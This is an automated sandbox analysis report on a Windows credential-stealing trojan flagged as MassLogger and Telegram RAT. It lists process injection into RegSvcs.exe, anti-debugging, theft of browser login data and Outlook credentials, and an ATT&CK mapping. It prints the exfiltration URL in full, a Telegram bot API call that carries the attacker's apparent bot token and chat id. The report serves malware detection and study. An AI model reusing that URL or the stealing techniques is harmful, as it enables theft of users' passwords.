Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_0063C75C
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_0063EF95
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_0063F0F2
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_0063F3F3
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_006337EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	1_2_006337EF
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00633B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	1_2_00633B12
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0063BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_0063BCBC

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_005D49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593954	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.3753356471.00000000013F8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

API call chain: ExitProcess graph end node

graph_1-100945

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00643F09 BlockInput,

1_2_00643F09

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

1_2_005D3B3A

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00605A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_00605A7C

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D4B37 LoadLibraryA,GetProcAddress,

1_2_005D4B37

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_01189538 mov eax, dword ptr fs:[00000030h]	1_2_01189538
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_01189598 mov eax, dword ptr fs:[00000030h]	1_2_01189598
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_01187EE8 mov eax, dword ptr fs:[00000030h]	1_2_01187EE8

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_006280A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

1_2_006280A9

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_005FA155
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FA124 SetUnhandledExceptionFilter,		1_2_005FA124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1080008

Jump to behavior

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_006287B1 LogonUserW,

1_2_006287B1

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

1_2_005D3B3A

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

1_2_005D48D7

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00634C7F mouse_event,

1_2_00634C7F

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\h8izmpp1ZM.exe"

Jump to behavior

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00627CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

1_2_00627CAF

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0062874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

1_2_0062874B

Source: h8izmpp1ZM.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: h8izmpp1ZM.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005F862B cpuid

1_2_005F862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00604E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00604E87

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00611E06 GetUserNameW,

1_2_00611E06

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00603F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_00603F3A

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_005D49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_005D49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: h8izmpp1ZM.exe, 00000001.00000003.1278808454.0000000001003000.00000004.00000020.00020000.00000000.sdmp, h8izmpp1ZM.exe, 00000001.00000002.1295087607.0000000001092000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procmon.exe

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: h8izmpp1ZM.exe	Binary or memory string: WIN_81
Source: h8izmpp1ZM.exe	Binary or memory string: WIN_XP
Source: h8izmpp1ZM.exe	Binary or memory string: WIN_XPe
Source: h8izmpp1ZM.exe	Binary or memory string: WIN_VISTA
Source: h8izmpp1ZM.exe	Binary or memory string: WIN_7
Source: h8izmpp1ZM.exe	Binary or memory string: WIN_8
Source: h8izmpp1ZM.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00646283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	1_2_00646283
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00646747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	1_2_00646747
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00607AA1 RpcBindingSetOption,_LocaleUpdate::_LocaleUpdate,_memset,WideCharToMultiByte,GetLastError,_memset,	1_2_00607AA1

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
h8izmpp1ZM.exe	71%	ReversingLabs	Win32.Trojan.AutoitInject
h8izmpp1ZM.exe	68%	Virustotal		Browse
h8izmpp1ZM.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455	RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000004.00000002.3754906148.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003274000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000004.00000002.3754906148.0000000003201000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
